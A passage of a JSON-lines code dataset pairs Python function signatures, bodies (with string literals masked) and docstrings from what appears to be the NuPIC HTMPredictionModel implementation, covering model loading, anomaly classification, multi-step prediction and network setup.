{"signature": "@classmethod<EOL><INDENT>def load(cls, savedModelDir):<DEDENT>", "body": "logger = opf_utils.initLogger(cls)<EOL>logger.debug(\"<STR_LIT>\", savedModelDir)<EOL>modelPickleFilePath = Model._getModelPickleFilePath(savedModelDir)<EOL>with open(modelPickleFilePath, '<STR_LIT:rb>') as modelPickleFile:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>model = pickle.load(modelPickleFile)<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>model._deSerializeExtraData(<EOL>extraDataDir=Model._getModelExtraDataDir(savedModelDir))<EOL>logger.debug(\"<STR_LIT>\")<EOL>return model<EOL>", "docstring": "Load saved model.\n\n        :param savedModelDir: (string)\n               Directory of where the experiment is to be or was saved\n        :returns: (:class:`Model`) The loaded model instance", "id": "f17679:c0:m25"}
{"signature": "def _deSerializeExtraData(self, extraDataDir):", "body": "pass<EOL>", "docstring": "Protected method that is called during deserialization\n        (after __setstate__) with an external directory path.\n        It can be overridden by subclasses to bypass pickle for loading large\n        binary states.\n        This is called by ModelBase only.\n\n        :param extraDataDir: (string) Model's extra data directory path", "id": "f17679:c0:m26"}
{"signature": "@staticmethod<EOL><INDENT>def _getModelPickleFilePath(saveModelDir):<DEDENT>", "body": "path = os.path.join(saveModelDir, \"<STR_LIT>\")<EOL>path = os.path.abspath(path)<EOL>return path<EOL>", "docstring": "Return the absolute path of the model's pickle file.\n\n        :param saveModelDir: (string)\n               Directory of where the experiment is to be or was saved\n        :returns: (string) An absolute path.", "id": "f17679:c0:m27"}
{"signature": "@staticmethod<EOL><INDENT>def _getModelExtraDataDir(saveModelDir):<DEDENT>", "body": "path = os.path.join(saveModelDir, \"<STR_LIT>\")<EOL>path = os.path.abspath(path)<EOL>return path<EOL>", "docstring": "Return the absolute path to the directory where the model's own\n        \"extra data\" are stored (i.e., data that's too big for pickling).\n\n        :param saveModelDir: (string)\n               Directory of where the experiment is to be or was saved\n        :returns: (string) An absolute path.", "id": "f17679:c0:m28"}
{"signature": "@staticmethod<EOL><INDENT>def __makeDirectoryFromAbsolutePath(absDirPath):<DEDENT>", "body": "assert os.path.isabs(absDirPath)<EOL>try:<EOL><INDENT>os.makedirs(absDirPath)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno != os.errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Make directory for the given directory path if it doesn't already\n        exist in the filesystem.\n\n        :param absDirPath: (string) Absolute path of the directory to create\n        @exception (Exception) OSError if directory creation fails", "id": "f17679:c0:m29"}
{"signature": "def requireAnomalyModel(func):", "body": "@wraps(func)<EOL>def _decorator(self, *args, **kwargs):<EOL><INDENT>if not self.getInferenceType() == InferenceType.TemporalAnomaly:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if self._getAnomalyClassifier() is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return func(self, *args, **kwargs)<EOL><DEDENT>return _decorator<EOL>", "docstring": "Decorator for functions that require anomaly models.", "id": "f17680:m0"}
{"signature": "def __init__(self, net, statsCollectors):", "body": "self.net = net<EOL>self.statsCollectors = statsCollectors<EOL>return<EOL>", "docstring": "net:          The CLA Network instance\nstatsCollectors:\n              Sequence of 0 or more CLAStatistic-based instances", "id": "f17680:c0:m0"}
{"signature": "def __init__(self,<EOL>sensorParams={},<EOL>inferenceType=InferenceType.TemporalNextStep,<EOL>spEnable=True,<EOL>spParams={},<EOL>trainSPNetOnlyIfRequested=False,<EOL>tmEnable=True,<EOL>tmParams={},<EOL>clEnable=True,<EOL>clParams={},<EOL>anomalyParams={},<EOL>minLikelihoodThreshold=DEFAULT_LIKELIHOOD_THRESHOLD,<EOL>maxPredictionsPerStep=DEFAULT_MAX_PREDICTIONS_PER_STEP,<EOL>network=None,<EOL>baseProto=None):", "body": "if not inferenceType in self.__supportedInferenceKindSet:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.__class__, inferenceType))<EOL><DEDENT>if baseProto is None:<EOL><INDENT>super(HTMPredictionModel, self).__init__(inferenceType)<EOL><DEDENT>else:<EOL><INDENT>super(HTMPredictionModel, self).__init__(proto=baseProto)<EOL><DEDENT>self.__restoringFromState = False<EOL>self.__restoringFromV1 = False<EOL>self.__logger = initLogger(self)<EOL>self.__logger.debug(\"<STR_LIT>\" % self.__myClassName)<EOL>self._minLikelihoodThreshold = minLikelihoodThreshold<EOL>self._maxPredictionsPerStep = maxPredictionsPerStep<EOL>self.__spLearningEnabled = bool(spEnable)<EOL>self.__tpLearningEnabled = bool(tmEnable)<EOL>if not InferenceType.isTemporal(self.getInferenceType())or self.getInferenceType() == InferenceType.NontemporalMultiStep:<EOL><INDENT>tmEnable = False<EOL><DEDENT>self._netInfo = None<EOL>self._hasSP = spEnable<EOL>self._hasTP = tmEnable<EOL>self._hasCL = clEnable<EOL>self._classifierInputEncoder = None<EOL>self._predictedFieldIdx = None<EOL>self._predictedFieldName = None<EOL>self._numFields = None<EOL>if network is not None:<EOL><INDENT>self._netInfo = NetworkInfo(net=network, statsCollectors=[])<EOL><DEDENT>else:<EOL><INDENT>self._netInfo = self.__createHTMNetwork(<EOL>sensorParams, spEnable, spParams, tmEnable, tmParams, clEnable,<EOL>clParams, anomalyParams)<EOL><DEDENT>if self.getInferenceType() == InferenceType.NontemporalAnomaly:<EOL><INDENT>self._getSPRegion().setParameter(\"<STR_LIT>\", True)<EOL><DEDENT>if self.getInferenceType() == InferenceType.TemporalAnomaly:<EOL><INDENT>self._getTPRegion().setParameter(\"<STR_LIT>\", True)<EOL><DEDENT>self.__trainSPNetOnlyIfRequested = trainSPNetOnlyIfRequested<EOL>self.__numRunCalls = <NUM_LIT:0><EOL>self.__finishedLearning = False<EOL>self.__logger.debug(\"<STR_LIT>\" % self.__class__.__name__)<EOL>self._input = None<EOL>return<EOL>", "docstring": ":param network: if not None, the deserialized nupic.engine.Network instance\n                to use instead of creating a new Network\n:param baseProto: if not None, capnp ModelProto message reader for\n                  deserializing; supersedes inferenceType", "id": "f17680:c1:m0"}
{"signature": "def getParameter(self, paramName):", "body": "if paramName == '<STR_LIT>':<EOL><INDENT>return self.__numRunCalls<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(paramName))<EOL><DEDENT>", "docstring": "Currently only supports a parameter named ``__numRunCalls``.\n\n:param paramName: (string) name of parameter to get. If not\n       ``__numRunCalls`` an exception is thrown.\n:returns: (int) the value of ``self.__numRunCalls``", "id": "f17680:c1:m1"}
{"signature": "@requireAnomalyModel<EOL><INDENT>def setAnomalyParameter(self, param, value):<DEDENT>", "body": "self._getAnomalyClassifier().setParameter(param, value)<EOL>", "docstring": "Set a parameter of the anomaly classifier within this model.\n\n:param param: (string) name of parameter to set\n:param value: (object) value to set", "id": "f17680:c1:m9"}
{"signature": "@requireAnomalyModel<EOL><INDENT>def getAnomalyParameter(self, param):<DEDENT>", "body": "return self._getAnomalyClassifier().getParameter(param)<EOL>", "docstring": "Get a parameter of the anomaly classifier within this model by key.\n\n:param param: (string) name of parameter to retrieve", "id": "f17680:c1:m10"}
{"signature": "@requireAnomalyModel<EOL><INDENT>def anomalyRemoveLabels(self, start, end, labelFilter):<DEDENT>", "body": "self._getAnomalyClassifier().getSelf().removeLabels(start, end, labelFilter)<EOL>", "docstring": "Remove labels from the anomaly classifier within this model. Removes all\nrecords if ``labelFilter==None``, otherwise only removes the labels equal to\n``labelFilter``.\n\n:param start: (int) index to start removing labels\n:param end: (int) index to end removing labels\n:param labelFilter: (string) If specified, only removes records that match", "id": "f17680:c1:m11"}
{"signature": "@requireAnomalyModel<EOL><INDENT>def anomalyAddLabel(self, start, end, labelName):<DEDENT>", "body": "self._getAnomalyClassifier().getSelf().addLabel(start, end, labelName)<EOL>", "docstring": "Add labels from the anomaly classifier within this model.\n\n:param start: (int) index to start label\n:param end: (int) index to end label\n:param labelName: (string) name of label", "id": "f17680:c1:m12"}
{"signature": "@requireAnomalyModel<EOL><INDENT>def anomalyGetLabels(self, start, end):<DEDENT>", "body": "return self._getAnomalyClassifier().getSelf().getLabels(start, end)<EOL>", "docstring": "Get labels from the anomaly classifier within this model.\n\n:param start: (int) index to start getting labels\n:param end: (int) index to end getting labels", "id": "f17680:c1:m13"}
{"signature": "def _getSensorInputRecord(self, inputRecord):", "body": "sensor = self._getSensorRegion()<EOL>dataRow = copy.deepcopy(sensor.getSelf().getOutputValues('<STR_LIT>'))<EOL>dataDict = copy.deepcopy(inputRecord)<EOL>inputRecordEncodings = sensor.getSelf().getOutputValues('<STR_LIT>')<EOL>inputRecordCategory = int(sensor.getOutputData('<STR_LIT>')[<NUM_LIT:0>])<EOL>resetOut = sensor.getOutputData('<STR_LIT>')[<NUM_LIT:0>]<EOL>return SensorInput(dataRow=dataRow,<EOL>dataDict=dataDict,<EOL>dataEncodings=inputRecordEncodings,<EOL>sequenceReset=resetOut,<EOL>category=inputRecordCategory)<EOL>", "docstring": "inputRecord - dict containing the input to the sensor\n\nReturn a 'SensorInput' object, which represents the 'parsed'\nrepresentation of the input record", "id": "f17680:c1:m15"}
{"signature": "def _getClassifierInputRecord(self, inputRecord):", "body": "absoluteValue = None<EOL>bucketIdx = None<EOL>if self._predictedFieldName is not None and self._classifierInputEncoder is not None:<EOL><INDENT>absoluteValue = inputRecord[self._predictedFieldName]<EOL>bucketIdx = self._classifierInputEncoder.getBucketIndices(absoluteValue)[<NUM_LIT:0>]<EOL><DEDENT>return ClassifierInput(dataRow=absoluteValue,<EOL>bucketIndex=bucketIdx)<EOL>", "docstring": "inputRecord - dict containing the input to the sensor\n\nReturn a 'ClassifierInput' object, which contains the mapped\nbucket index for input Record", "id": "f17680:c1:m16"}
{"signature": "def _anomalyCompute(self):", "body": "inferenceType = self.getInferenceType()<EOL>inferences = {}<EOL>sp = self._getSPRegion()<EOL>score = None<EOL>if inferenceType == InferenceType.NontemporalAnomaly:<EOL><INDENT>score = sp.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>] <EOL><DEDENT>elif inferenceType == InferenceType.TemporalAnomaly:<EOL><INDENT>tm = self._getTPRegion()<EOL>if sp is not None:<EOL><INDENT>activeColumns = sp.getOutputData(\"<STR_LIT>\").nonzero()[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>sensor = self._getSensorRegion()<EOL>activeColumns = sensor.getOutputData('<STR_LIT>').nonzero()[<NUM_LIT:0>]<EOL><DEDENT>if not self._predictedFieldName in self._input:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>% self._predictedFieldName<EOL>)<EOL><DEDENT>score = tm.getOutputData(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>if sp is not None:<EOL><INDENT>self._getAnomalyClassifier().setParameter(<EOL>\"<STR_LIT>\", len(activeColumns))<EOL>self._getAnomalyClassifier().prepareInputs()<EOL>self._getAnomalyClassifier().compute()<EOL>labels = self._getAnomalyClassifier().getSelf().getLabelResults()<EOL>inferences[InferenceElement.anomalyLabel] = \"<STR_LIT:%s>\" % labels<EOL><DEDENT><DEDENT>inferences[InferenceElement.anomalyScore] = score<EOL>return inferences<EOL>", "docstring": "Compute Anomaly score, if required", "id": "f17680:c1:m26"}
{"signature": "def _handleSDRClassifierMultiStep(self, patternNZ,<EOL>inputTSRecordIdx,<EOL>rawInput):", "body": "inferenceArgs = self.getInferenceArgs()<EOL>predictedFieldName = inferenceArgs.get('<STR_LIT>', None)<EOL>if predictedFieldName is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self._predictedFieldName = predictedFieldName<EOL>classifier = self._getClassifierRegion()<EOL>if not self._hasCL or classifier is None:<EOL><INDENT>return {}<EOL><DEDENT>sensor = self._getSensorRegion()<EOL>minLikelihoodThreshold = self._minLikelihoodThreshold<EOL>maxPredictionsPerStep = self._maxPredictionsPerStep<EOL>needLearning = self.isLearningEnabled()<EOL>inferences = {}<EOL>if self._classifierInputEncoder is None:<EOL><INDENT>if predictedFieldName is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>encoderList = sensor.getSelf().encoder.getEncoderList()<EOL>self._numFields = len(encoderList)<EOL>fieldNames = sensor.getSelf().encoder.getScalarNames()<EOL>if predictedFieldName in fieldNames:<EOL><INDENT>self._predictedFieldIdx = fieldNames.index(predictedFieldName)<EOL><DEDENT>else:<EOL><INDENT>self._predictedFieldIdx = None<EOL><DEDENT>if sensor.getSelf().disabledEncoder is not None:<EOL><INDENT>encoderList = sensor.getSelf().disabledEncoder.getEncoderList()<EOL><DEDENT>else:<EOL><INDENT>encoderList = []<EOL><DEDENT>if len(encoderList) >= <NUM_LIT:1>:<EOL><INDENT>fieldNames = sensor.getSelf().disabledEncoder.getScalarNames()<EOL>self._classifierInputEncoder = encoderList[fieldNames.index(<EOL>predictedFieldName)]<EOL><DEDENT>else:<EOL><INDENT>encoderList = sensor.getSelf().encoder.getEncoderList()<EOL>self._classifierInputEncoder = encoderList[self._predictedFieldIdx]<EOL><DEDENT><DEDENT>if not predictedFieldName in rawInput:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% predictedFieldName)<EOL><DEDENT>absoluteValue = rawInput[predictedFieldName]<EOL>bucketIdx = self._classifierInputEncoder.getBucketIndices(absoluteValue)[<NUM_LIT:0>]<EOL>if isinstance(self._classifierInputEncoder, DeltaEncoder):<EOL><INDENT>if not hasattr(self,\"<STR_LIT>\"):<EOL><INDENT>self._ms_prevVal = absoluteValue<EOL><DEDENT>prevValue = self._ms_prevVal<EOL>self._ms_prevVal = absoluteValue<EOL>actualValue = absoluteValue - prevValue<EOL><DEDENT>else:<EOL><INDENT>actualValue = absoluteValue<EOL><DEDENT>if isinstance(actualValue, float) and math.isnan(actualValue):<EOL><INDENT>actualValue = SENTINEL_VALUE_FOR_MISSING_DATA<EOL><DEDENT>classifier.setParameter('<STR_LIT>', True)<EOL>classifier.setParameter('<STR_LIT>', needLearning)<EOL>classificationIn = {'<STR_LIT>': bucketIdx,<EOL>'<STR_LIT>': actualValue}<EOL>if inputTSRecordIdx is not None:<EOL><INDENT>recordNum = inputTSRecordIdx<EOL><DEDENT>else:<EOL><INDENT>recordNum = self.__numRunCalls<EOL><DEDENT>clResults = classifier.getSelf().customCompute(recordNum=recordNum,<EOL>patternNZ=patternNZ,<EOL>classification=classificationIn)<EOL>predictionSteps = classifier.getParameter('<STR_LIT>')<EOL>predictionSteps = [int(x) for x in predictionSteps.split('<STR_LIT:U+002C>')]<EOL>inferences[InferenceElement.multiStepPredictions] = dict()<EOL>inferences[InferenceElement.multiStepBestPredictions] = dict()<EOL>inferences[InferenceElement.multiStepBucketLikelihoods] = dict()<EOL>for steps in predictionSteps:<EOL><INDENT>likelihoodsVec = clResults[steps]<EOL>bucketValues = clResults['<STR_LIT>']<EOL>likelihoodsDict = dict()<EOL>bestActValue = None<EOL>bestProb = None<EOL>for (actValue, prob) in zip(bucketValues, likelihoodsVec):<EOL><INDENT>if actValue in likelihoodsDict:<EOL><INDENT>likelihoodsDict[actValue] += prob<EOL><DEDENT>else:<EOL><INDENT>likelihoodsDict[actValue] = prob<EOL><DEDENT>if bestProb is None or likelihoodsDict[actValue] > bestProb:<EOL><INDENT>bestProb = likelihoodsDict[actValue]<EOL>bestActValue = actValue<EOL><DEDENT><DEDENT>likelihoodsDict = HTMPredictionModel._removeUnlikelyPredictions(<EOL>likelihoodsDict, minLikelihoodThreshold, maxPredictionsPerStep)<EOL>bucketLikelihood = {}<EOL>for k in likelihoodsDict.keys():<EOL><INDENT>bucketLikelihood[self._classifierInputEncoder.getBucketIndices(k)[<NUM_LIT:0>]] = (<EOL>likelihoodsDict[k])<EOL><DEDENT>if isinstance(self._classifierInputEncoder, DeltaEncoder):<EOL><INDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._ms_predHistories = dict()<EOL><DEDENT>predHistories = self._ms_predHistories<EOL>if not steps in predHistories:<EOL><INDENT>predHistories[steps] = deque()<EOL><DEDENT>predHistory = predHistories[steps]<EOL>sumDelta = sum(predHistory)<EOL>offsetDict = dict()<EOL>for (k, v) in likelihoodsDict.iteritems():<EOL><INDENT>if k is not None:<EOL><INDENT>offsetDict[absoluteValue+float(k)+sumDelta] = v<EOL><DEDENT><DEDENT>bucketLikelihoodOffset = {}<EOL>for k in offsetDict.keys():<EOL><INDENT>bucketLikelihoodOffset[self._classifierInputEncoder.getBucketIndices(k)[<NUM_LIT:0>]] = (<EOL>offsetDict[k])<EOL><DEDENT>if bestActValue is not None:<EOL><INDENT>predHistory.append(bestActValue)<EOL><DEDENT>if len(predHistory) >= steps:<EOL><INDENT>predHistory.popleft()<EOL><DEDENT>if len(offsetDict)><NUM_LIT:0>:<EOL><INDENT>inferences[InferenceElement.multiStepPredictions][steps] = offsetDict<EOL>inferences[InferenceElement.multiStepBucketLikelihoods][steps] = bucketLikelihoodOffset<EOL><DEDENT>else:<EOL><INDENT>inferences[InferenceElement.multiStepPredictions][steps] = likelihoodsDict<EOL>inferences[InferenceElement.multiStepBucketLikelihoods][steps] = bucketLikelihood<EOL><DEDENT>if bestActValue is None:<EOL><INDENT>inferences[InferenceElement.multiStepBestPredictions][steps] = None<EOL><DEDENT>else:<EOL><INDENT>inferences[InferenceElement.multiStepBestPredictions][steps] = (<EOL>absoluteValue + sumDelta + bestActValue)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>inferences[InferenceElement.multiStepPredictions][steps] = (<EOL>likelihoodsDict)<EOL>inferences[InferenceElement.multiStepBestPredictions][steps] = (<EOL>bestActValue)<EOL>inferences[InferenceElement.multiStepBucketLikelihoods][steps] = (<EOL>bucketLikelihood)<EOL><DEDENT><DEDENT>return inferences<EOL>", "docstring": "Handle the CLA Classifier compute logic when implementing multi-step\n        prediction. This is where the patternNZ is associated with one of the\n        other fields from the dataset 0 to N steps in the future. This method is\n        used by each type of network (encoder only, SP only, SP +TM) to handle the\n        compute logic through the CLA Classifier. It fills in the inference dict with\n        the results of the compute.\n\n        Parameters:\n        -------------------------------------------------------------------\n        patternNZ: The input to the CLA Classifier as a list of active input indices\n        inputTSRecordIdx: The index of the record as computed from the timestamp\n                      and aggregation interval. This normally increments by 1\n                      each time unless there are missing records. If there is no\n                      aggregation interval or timestamp in the data, this will be\n                      None.\n        rawInput:   The raw input to the sensor, as a dict.", "id": "f17680:c1:m27"}
{"signature": "@classmethod<EOL><INDENT>def _removeUnlikelyPredictions(cls, likelihoodsDict, minLikelihoodThreshold,<EOL>maxPredictionsPerStep):<DEDENT>", "body": "maxVal = (None, None)<EOL>for (k, v) in likelihoodsDict.items():<EOL><INDENT>if len(likelihoodsDict) <= <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>if maxVal[<NUM_LIT:0>] is None or v >= maxVal[<NUM_LIT:1>]:<EOL><INDENT>if maxVal[<NUM_LIT:0>] is not None and maxVal[<NUM_LIT:1>] < minLikelihoodThreshold:<EOL><INDENT>del likelihoodsDict[maxVal[<NUM_LIT:0>]]<EOL><DEDENT>maxVal = (k, v)<EOL><DEDENT>elif v < minLikelihoodThreshold:<EOL><INDENT>del likelihoodsDict[k]<EOL><DEDENT><DEDENT>likelihoodsDict = dict(sorted(likelihoodsDict.iteritems(),<EOL>key=itemgetter(<NUM_LIT:1>),<EOL>reverse=True)[:maxPredictionsPerStep])<EOL>return likelihoodsDict<EOL>", "docstring": "Remove entries with 0 likelihood or likelihood less than\n        minLikelihoodThreshold, but don't leave an empty dict.", "id": "f17680:c1:m28"}
{"signature": "def getRuntimeStats(self):", "body": "ret = {\"<STR_LIT>\" : self.__numRunCalls}<EOL>temporalStats = dict()<EOL>if self._hasTP:<EOL><INDENT>for stat in self._netInfo.statsCollectors:<EOL><INDENT>sdict = stat.getStats()<EOL>temporalStats.update(sdict)<EOL><DEDENT><DEDENT>ret[InferenceType.getLabel(InferenceType.TemporalNextStep)] = temporalStats<EOL>return ret<EOL>", "docstring": "Only returns data for a stat called ``numRunCalls``.\n:return:", "id": "f17680:c1:m29"}
{"signature": "def _getLogger(self):", "body": "return self.__logger<EOL>", "docstring": "Get the logger for this object. This is a protected method that is used\n        by the Model to access the logger created by the subclass\n\n        return:\n          A logging.Logger object. Should not be None", "id": "f17680:c1:m31"}
{"signature": "def _getSPRegion(self):", "body": "return self._netInfo.net.regions.get('<STR_LIT>', None)<EOL>", "docstring": "Returns reference to the network's SP region", "id": "f17680:c1:m32"}
{"signature": "def _getTPRegion(self):", "body": "return self._netInfo.net.regions.get('<STR_LIT>', None)<EOL>", "docstring": "Returns reference to the network's TM region", "id": "f17680:c1:m33"}
{"signature": "def _getSensorRegion(self):", "body": "return self._netInfo.net.regions['<STR_LIT>']<EOL>", "docstring": "Returns reference to the network's Sensor region", "id": "f17680:c1:m34"}
{"signature": "def _getClassifierRegion(self):", "body": "if (self._netInfo.net is not None and<EOL>\"<STR_LIT>\" in self._netInfo.net.regions):<EOL><INDENT>return self._netInfo.net.regions[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns reference to the network's Classifier region", "id": "f17680:c1:m35"}
{"signature": "def _getEncoder(self):", "body": "return  self._getSensorRegion().getSelf().encoder<EOL>", "docstring": "Returns:  sensor region's encoder for the given network", "id": "f17680:c1:m37"}
{"signature": "def _getClassifierOnlyEncoder(self):", "body": "return  self._getSensorRegion().getSelf().disabledEncoder<EOL>", "docstring": "Returns:  sensor region's encoder that is sent only to the classifier,\n            not to the bottom of the network", "id": "f17680:c1:m38"}
{"signature": "def _getDataSource(self):", "body": "return self._getSensorRegion().getSelf().dataSource<EOL>", "docstring": "Returns: data source that we installed in sensor region", "id": "f17680:c1:m39"}
{"signature": "def __createHTMNetwork(self, sensorParams, spEnable, spParams, tmEnable,<EOL>tmParams, clEnable, clParams, anomalyParams):", "body": "<EOL>n = Network()<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(dict(verbosity=sensorParams['<STR_LIT>'])))<EOL>sensor = n.regions['<STR_LIT>'].getSelf()<EOL>enabledEncoders = copy.deepcopy(sensorParams['<STR_LIT>'])<EOL>for name, params in enabledEncoders.items():<EOL><INDENT>if params is not None:<EOL><INDENT>classifierOnly = params.pop('<STR_LIT>', False)<EOL>if classifierOnly:<EOL><INDENT>enabledEncoders.pop(name)<EOL><DEDENT><DEDENT><DEDENT>disabledEncoders = copy.deepcopy(sensorParams['<STR_LIT>'])<EOL>for name, params in disabledEncoders.items():<EOL><INDENT>if params is None:<EOL><INDENT>disabledEncoders.pop(name)<EOL><DEDENT>else:<EOL><INDENT>classifierOnly = params.pop('<STR_LIT>', False)<EOL>if not classifierOnly:<EOL><INDENT>disabledEncoders.pop(name)<EOL><DEDENT><DEDENT><DEDENT>encoder = MultiEncoder(enabledEncoders)<EOL>sensor.encoder = encoder<EOL>sensor.disabledEncoder = MultiEncoder(disabledEncoders)<EOL>sensor.dataSource = DataBuffer()<EOL>prevRegion = \"<STR_LIT>\"<EOL>prevRegionWidth = encoder.getWidth()<EOL>if spEnable:<EOL><INDENT>spParams = spParams.copy()<EOL>spParams['<STR_LIT>'] = prevRegionWidth<EOL>self.__logger.debug(\"<STR_LIT>\" % spParams)<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(spParams))<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>prevRegion = \"<STR_LIT>\"<EOL>prevRegionWidth = spParams['<STR_LIT>']<EOL><DEDENT>if tmEnable:<EOL><INDENT>tmParams = tmParams.copy()<EOL>if prevRegion == '<STR_LIT>':<EOL><INDENT>tmParams['<STR_LIT>'] = tmParams['<STR_LIT>'] = prevRegionWidth<EOL><DEDENT>else:<EOL><INDENT>assert tmParams['<STR_LIT>'] == prevRegionWidth<EOL>tmParams['<STR_LIT>'] = tmParams['<STR_LIT>']<EOL><DEDENT>self.__logger.debug(\"<STR_LIT>\" % tmParams)<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\", json.dumps(tmParams))<EOL>n.link(prevRegion, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>if prevRegion != \"<STR_LIT>\":<EOL><INDENT>n.link(\"<STR_LIT>\", prevRegion, \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>n.link(\"<STR_LIT>\", prevRegion, \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL><DEDENT>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>prevRegion = \"<STR_LIT>\"<EOL>prevRegionWidth = tmParams['<STR_LIT>']<EOL><DEDENT>if clEnable and clParams is not None:<EOL><INDENT>clParams = clParams.copy()<EOL>clRegionName = clParams.pop('<STR_LIT>')<EOL>self.__logger.debug(\"<STR_LIT>\" % (clRegionName,<EOL>clParams))<EOL>n.addRegion(\"<STR_LIT>\", \"<STR_LIT>\" % str(clRegionName), json.dumps(clParams))<EOL>if str(clRegionName) == \"<STR_LIT>\":<EOL><INDENT>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL><DEDENT>n.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", srcOutput=\"<STR_LIT>\",<EOL>destInput=\"<STR_LIT>\")<EOL>n.link(prevRegion, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>if self.getInferenceType() == InferenceType.TemporalAnomaly:<EOL><INDENT>anomalyClParams = dict(<EOL>trainRecords=anomalyParams.get('<STR_LIT>', None),<EOL>cacheSize=anomalyParams.get('<STR_LIT>', None)<EOL>)<EOL>self._addAnomalyClassifierRegion(n, anomalyClParams, spEnable, tmEnable)<EOL><DEDENT>n.initialize()<EOL>return NetworkInfo(net=n, statsCollectors=[])<EOL>", "docstring": "Create a CLA network and return it.\n\n        description:  HTMPredictionModel description dictionary (TODO: define schema)\n        Returns:      NetworkInfo instance;", "id": "f17680:c1:m40"}
{"signature": "def __getstate__(self):", "body": "<EOL>state = self.__dict__.copy()<EOL>state[\"<STR_LIT>\"] = NetworkInfo(net=None,<EOL>statsCollectors=self._netInfo.statsCollectors)<EOL>for ephemeral in [self.__manglePrivateMemberName(\"<STR_LIT>\"),<EOL>self.__manglePrivateMemberName(\"<STR_LIT>\")]:<EOL><INDENT>state.pop(ephemeral)<EOL><DEDENT>return state<EOL>", "docstring": "Return serializable state.  This function will return a version of the\n__dict__ with data that shouldn't be pickled stripped out. In particular,\nthe CLA Network is stripped out because it has it's own serialization\nmechanism)\n\nSee also: _serializeExtraData()", "id": "f17680:c1:m41"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>self.__restoringFromState = True<EOL>self.__logger = initLogger(self)<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.__restoringFromV1 = True<EOL>self._hasSP = True<EOL>if self.__temporalNetInfo is not None:<EOL><INDENT>self._Model__inferenceType = InferenceType.TemporalNextStep<EOL>self._netInfo = self.__temporalNetInfo<EOL>self._hasTP = True<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self._Model__inferenceArgs = {}<EOL>self._Model__learningEnabled = True<EOL>self._Model__inferenceEnabled = True<EOL>self.__dict__.pop(\"<STR_LIT>\", None)<EOL>self.__dict__.pop(\"<STR_LIT>\", None)<EOL>self.__dict__.pop(\"<STR_LIT>\", None)<EOL><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self._hasSP = False<EOL>self._hasTP = False<EOL>if self.__encoderNetInfo is not None:<EOL><INDENT>self._netInfo = self.__encoderNetInfo<EOL><DEDENT>elif self.__nonTemporalNetInfo is not None:<EOL><INDENT>self._netInfo = self.__nonTemporalNetInfo<EOL>self._hasSP = True<EOL><DEDENT>else:<EOL><INDENT>self._netInfo = self.__temporalNetInfo<EOL>self._hasSP = True<EOL>self._hasTP = True<EOL><DEDENT>self.__dict__.pop(\"<STR_LIT>\", None)<EOL>self.__dict__.pop(\"<STR_LIT>\", None)<EOL>self.__dict__.pop(\"<STR_LIT>\", None)<EOL><DEDENT>self._classifierInputEncoder = None<EOL>if not hasattr(self, 